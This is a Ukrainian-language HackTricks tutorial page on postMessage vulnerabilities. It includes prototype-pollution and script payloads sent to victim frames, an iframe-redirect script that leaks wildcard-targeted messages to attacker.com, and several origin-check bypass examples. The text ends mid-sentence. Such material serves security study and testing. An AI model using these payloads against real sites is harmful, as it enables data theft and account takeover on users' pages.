.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
Вразливості PostMessage
Вразливості PostMessage
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!
Інші способи підтримки HackTricks:
- Якщо ви хочете побачити рекламу вашої компанії на HackTricks або завантажити HackTricks у форматі PDF, перевірте ПЛАНИ ПІДПИСКИ!
- Отримайте офіційний мерч PEASS & HackTricks
- Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @carlospolopm.
- Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks і HackTricks Cloud репозиторіїв на GitHub.
Відправити PostMessage
PostMessage використовує наступну функцію для відправлення повідомлення:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Зауважте, що targetOrigin може бути '*' або URL, наприклад https://company.com.
У другому сценарії, повідомлення може бути відправлене лише на цей домен (навіть якщо початковий джерело об'єкта вікна відрізняється).
Якщо використовується шаблон, повідомлення можуть бути відправлені на будь-який домен, і будуть відправлені на початкове джерело об'єкта Вікна.
Атака на iframe та шаблон в targetOrigin
Як пояснено в цьому звіті, якщо ви знаходите сторінку, яку можна вставити в iframe (без захисту X-Frame-Header
) і яка надсилає чутливе повідомлення через postMessage, використовуючи шаблон (*), ви можете змінити походження iframe та витікати чутливе повідомлення на домен, яким ви керуєте.
Зауважте, що якщо сторінку можна вставити в iframe, але targetOrigin встановлено на URL, а не на шаблон, цей трюк не працюватиме.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
Використання addEventListener
addEventListener
- це функція, яку використовує JS для оголошення функції, яка очікує postMessages
.
Буде використаний код, подібний до наступного:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
У цьому випадку першим кроком коду є перевірка походження. Це надзвичайно важливо, особливо якщо сторінка збирається робити чутливі дії з отриманою інформацією (наприклад, змінювати пароль). Якщо не перевіряти походження, атакувальники можуть змусити жертв відправляти довільні дані на ці кінцеві точки та змінювати паролі жертв (у цьому прикладі).
Перелік
Для знаходження прослуховувачів подій на поточній сторінці можна:
- Шукати код JS для
window.addEventListener
та$(window).on
(версія JQuery) - Виконати у консолі інструментів розробника:
getEventListeners(window)
- Перейти до Elements --> Event Listeners у інструментах розробника браузера
- Використовувати розширення браузера типу https://github.com/benso-io/posta або https://github.com/fransr/postMessage-tracker. Ці розширення браузера будуть перехоплювати всі повідомлення та показувати їх вам.
Обхід перевірки походження
-
Атрибут
event.isTrusted
вважається безпечним, оскільки повертаєTrue
лише для подій, які генеруються реальними діями користувача. Хоча його важко обійти, якщо він реалізований правильно, його значення в перевірках безпеки помітне. -
Використання
indexOf()
для перевірки походження в подіях PostMessage може бути вразливим на обхід. Приклад, що ілюструє цю вразливість:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- Метод
search()
зString.prototype.search()
призначений для регулярних виразів, а не для рядків. Передача чого-небудь, крім регулярного виразу, призводить до неявного перетворення на регулярний вираз, що може зробити метод потенційно небезпечним. Це тому, що в регулярних виразах крапка (.) діє як символ підстановки, що дозволяє обійти перевірку з допомогою спеціально створених доменів. Наприклад:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
Функція
match()
, подібно доsearch()
, обробляє регулярні вирази. Якщо регулярний вираз побудований неправильно, він може бути вразливим на обхід. -
Функція
escapeHtml
призначена для санітаризації введених даних шляхом екранування символів. Однак вона не створює новий екранований об'єкт, а перезаписує властивості існуючого об'єкта. Цю поведінку можна використовувати. Зокрема, якщо об'єкт можна маніпулювати так, що його контрольована властивість не визнаєhasOwnProperty
,escapeHtml
не буде працювати як очікувалося. Це показано в прикладах нижче: -
Очікувана помилка:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- Обхід екранування:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
У контексті цієї вразливості об'єкт File
особливо вразливий через свою тільки для читання властивість name
. Ця властивість, коли використовується в шаблонах, не санітаризується функцією escapeHtml
, що призводить до потенційних ризиків безпеки.
- Властивість
document.domain
в JavaScript може бути встановлена сценарієм для скорочення домену, що дозволяє більш гнучке застосування політики однакового походження в межах одного батьківського домену.
Обхід e.origin == window.origin
При вбудовуванні веб-сторінки в ізольовану iframe за допомогою %%%